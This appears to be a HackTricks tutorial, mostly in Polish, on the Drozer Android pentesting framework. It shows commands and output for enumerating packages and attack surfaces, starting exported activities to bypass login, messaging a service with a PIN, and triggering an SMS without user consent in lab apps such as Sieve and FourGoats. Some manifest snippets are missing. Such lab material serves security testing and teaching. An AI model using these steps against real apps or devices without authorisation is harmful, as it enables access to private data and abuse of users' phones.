# Drozer Tutorial
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Wskazówka dotycząca bug bounty**: **zarejestruj się** na platformie **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! {% embed url="https://go.intigriti.com/hacktricks" %} ## APK do testowania * [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (od mrwlabs) * [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **Części tego samouczka zostały wyjęte z** [**Drozer documentation pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.** ## Instalacja Zainstaluj klienta Drozer w swoim hoście. Pobierz go z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` Pobierz i zainstaluj plik APK drozer z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases). W tym momencie jest to [ten](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ```bash adb install drozer.apk ``` ### Uruchamianie serwera Agent działa na porcie 31415, musimy [przekierować port](https://pl.wikipedia.org/wiki/Przekierowanie\_port%C3%B3w) w celu nawiązania komunikacji między klientem Drozer a Agentem. Oto polecenie, które należy wykonać: ```bash adb forward tcp:31415 tcp:31415 ``` W końcu, **uruchom** **aplikację** i naciśnij przycisk "**ON**" ![](<../../../.gitbook/assets/image (63).png>) Następnie połącz się z nią: ```bash drozer console connect ``` ## Interesujące polecenia | **Polecenia** | **Opis** | | --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | | **Help MODULE** | Wyświetla pomoc dla wybranego modułu | | **list** | Wyświetla listę wszystkich modułów drozera, które można uruchomić w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. | | **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście agenta. | | **clean** | Usuwa tymczasowe pliki przechowywane przez drozera na urządzeniu Android. | | **load** | Wczytuje plik zawierający polecenia drozera i wykonuje je sekwencyjnie. | | **module** | Znajduje i instaluje dodatkowe moduły drozera z Internetu. | | **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do każdej powłoki Linux, którą uruchamia. | | **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do każdej powłoki Linux uruchamianej przez drozera. | | **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście agenta. | | **run MODULE** | Wykonuje moduł drozera | | **exploit** | Drozer może tworzyć exploity do wykonania na urządzeniu. `drozer exploit list` | | **payload** | Exploity wymagają payloadu. `drozer payload list` | ### Pakiet Znajdź **nazwę** pakietu, filtrowanie po części nazwy: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Podstawowe informacje** o pakiecie: ```bash dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` Przeczytaj **Manifest**: ```bash run app.package.manifest jakhar.aseem.diva ``` **Powierzchnia ataku** pakietu: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable ``` * **Aktywności**: Może można uruchomić aktywność i ominąć pewnego rodzaju autoryzację, która powinna Cię powstrzymać przed jej uruchomieniem. * **Dostawcy treści**: Może można uzyskać dostęp do prywatnych danych lub wykorzystać jakąś podatność (wstrzyknięcie SQL lub przechodzenie ścieżek). * **Usługi**: * **is debuggable**: [Dowiedz się więcej](./#is-debuggeable) ### Aktywności Wartość "android:exported" składnika aktywności jest ustawiona na **"true"** w pliku AndroidManifest.xml: ```markup ``` **Lista wyeksportowanych aktywności**: Aby wyświetlić listę wyeksportowanych aktywności w aplikacji Android, wykonaj następujące kroki: 1. Uruchom narzędzie drozer, wpisując polecenie `drozer console connect`. 2. Po połączeniu z urządzeniem, wpisz polecenie `run app.package.exported_activities -a `, gdzie `` to nazwa pakietu aplikacji, której aktywności chcesz sprawdzić. 3. Po wykonaniu polecenia, zostanie wyświetlona lista wszystkich wyeksportowanych aktywności w podanej aplikacji. Przykład użycia: ``` run app.package.exported_activities -a com.example.app ``` Wynik: ``` Exported Activities: - com.example.app.MainActivity - com.example.app.SecondActivity - com.example.app.SettingsActivity ``` Pamiętaj, że wyeksportowane aktywności mogą stanowić potencjalne zagrożenie dla bezpieczeństwa aplikacji, dlatego ważne jest, aby odpowiednio zabezpieczyć je przed nieautoryzowanym dostępem. ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` **Rozpoczęcie aktywności**: Możesz spróbować rozpocząć aktywność i ominąć pewnego rodzaju autoryzację, która powinna Cię powstrzymać przed jej uruchomieniem. {% code overflow="wrap" %} ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` {% endcode %} Możesz również uruchomić wyeksportowaną aktywność za pomocą **adb**: * Nazwa pakietu to com.example.demo * Nazwa wyeksportowanej aktywności to com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Dostawcy treści Ten post jest tak duży, że **możesz** [**uzyskać do niego dostęp na osobnej stronie tutaj**](exploiting-content-providers.md). ### Usługi Usługa eksportowana jest deklarowana w pliku Manifest.xml: {% code overflow="wrap" %} ```markup ``` {% endcode %} Wewnątrz kodu **sprawdź** funkcję \*\*`handleMessage`\*\*, która będzie **odbierać** **wiadomość**: ![](<../../../.gitbook/assets/image (194).png>) #### Lista usług ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` #### **Komunikacja** z usługą To interact with a service, you need to establish a connection and send requests to it. In the case of Android app pentesting, you can use drozer to interact with the app's services. A service is a component of an Android app that runs in the background without a user interface. It performs long-running operations or handles remote requests. By interacting with a service, you can gather information, manipulate data, or even exploit vulnerabilities. Drozer provides a command-line interface to interact with Android app services. You can use the `run` command to execute drozer modules that interact with the app's services. These modules are designed to perform specific tasks, such as listing services, invoking methods, or querying content providers. To interact with a service using drozer, follow these steps: 1. Start drozer by running the command `drozer console connect`. 2. Connect to the target device by running the command `run app.package.list -f `. 3. List the services available in the app by running the command `run app.service.list -f `. 4. Choose a service to interact with and gather information about it by running the command `run app.service.info -f -u `. 5. Invoke methods on the service by running the command `run app.service.send `. 6. Analyze the responses and gather any relevant information. By interacting with an app's services, you can gain a deeper understanding of its functionality and identify potential security vulnerabilities. This knowledge can be used to enhance your pentesting efforts and ensure the app's security. ```bash app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` #### Przykład Zajrzyj do pomocy **drozera** dla `app.service.send`: ![](<../../../.gitbook/assets/image (196) (1).png>) Zauważ, że najpierw wysyłasz dane wewnątrz "_msg.what_", następnie "_msg.arg1_" i "_msg.arg2_", powinieneś sprawdzić w kodzie **jakie informacje są używane** i gdzie.\ Używając opcji `--extra` możesz wysłać coś, co zostanie zinterpretowane jako "_msg.replyTo"_, a używając `--bundle-as-obj` tworzysz obiekt z podanymi szczegółami. W poniższym przykładzie: * `what == 2354` * `arg1 == 9234` * `arg2 == 1` * `replyTo == object(string com.mwr.example.sieve.PIN 1337)` ```bash run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` ![](<../../../.gitbook/assets/image (195).png>) ### Odbiorniki transmisji **W sekcji podstawowych informacji o Androidzie możesz zobaczyć, czym jest odbiornik transmisji**. Po odkryciu tych odbiorników transmisji powinieneś **sprawdzić ich kod**. Zwróć szczególną uwagę na funkcję **`onReceive`**, ponieważ to właśnie ona będzie obsługiwać otrzymane wiadomości. #### Wykrywanie wszystkich odbiorników transmisji ```bash run app.broadcast.info #Detects all ``` #### Sprawdź odbiorniki nadawcze aplikacji Aby sprawdzić odbiorniki nadawcze aplikacji, możesz użyć narzędzia `drozer`. `drozer` to framework do testowania penetracyjnego aplikacji mobilnych na platformie Android. Poniżej przedstawiono kroki, które należy podjąć, aby sprawdzić odbiorniki nadawcze aplikacji przy użyciu `drozera`: 1. Uruchom `drozera` na swoim urządzeniu lub emulatorze Android. 2. Połącz się z urządzeniem za pomocą polecenia `connect `. 3. Wyświetl listę zainstalowanych aplikacji za pomocą polecenia `run app.package.list`. 4. Wybierz aplikację, której odbiorniki nadawcze chcesz sprawdzić, za pomocą polecenia `run app.package.info -a `. 5. Wyświetl listę odbiorników nadawczych aplikacji za pomocą polecenia `run app.broadcast.info -a `. Dzięki tym krokom będziesz mógł sprawdzić odbiorniki nadawcze aplikacji przy użyciu narzędzia `drozer`. ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver Permission: null com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.google.android.apps.youtube.app.PackageReplacedReceiver Permission: null com.google.android.libraries.youtube.account.AccountsChangedReceiver Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` #### Interakcje **Broadcastów** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` #### Wyślij wiadomość W tym przykładzie, wykorzystując apkę [FourGoats](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) i dostawcę treści, możesz **wysłać dowolną wiadomość SMS** do dowolnego niepremiumowego celu **bez pytania** użytkownika o zgodę. ![](<../../../.gitbook/assets/image (199).png>) ![](<../../../.gitbook/assets/image (197) (1).png>) Jeśli przeczytasz kod, parametry "_phoneNumber_" i "_message_" muszą zostać przesłane do dostawcy treści. ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### Czy jest możliwe debugowanie Produkcyjne pliki APK nigdy nie powinny być debugowalne.\ Oznacza to, że można **podłączyć debugger javy** do działającej aplikacji, przeglądać ją w czasie rzeczywistym, ustawiać punkty przerwania, krok po kroku analizować, zbierać wartości zmiennych, a nawet je zmieniać. [InfoSec institute ma doskonały artykuł](https://github.com/carlospolop/hacktricks/blob/pl/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-application.md) na temat zagłębiania się w aplikację, gdy jest ona debugowalna i wstrzykiwania kodu w czasie wykonania. Gdy aplikacja jest debugowalna, pojawi się to w Manifest: ```xml **Wskazówka dotycząca nagrody za błąd**: **zarejestruj się** na platformie **Intigriti**, premium **platformie nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! {% embed url="https://go.intigriti.com/hacktricks" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.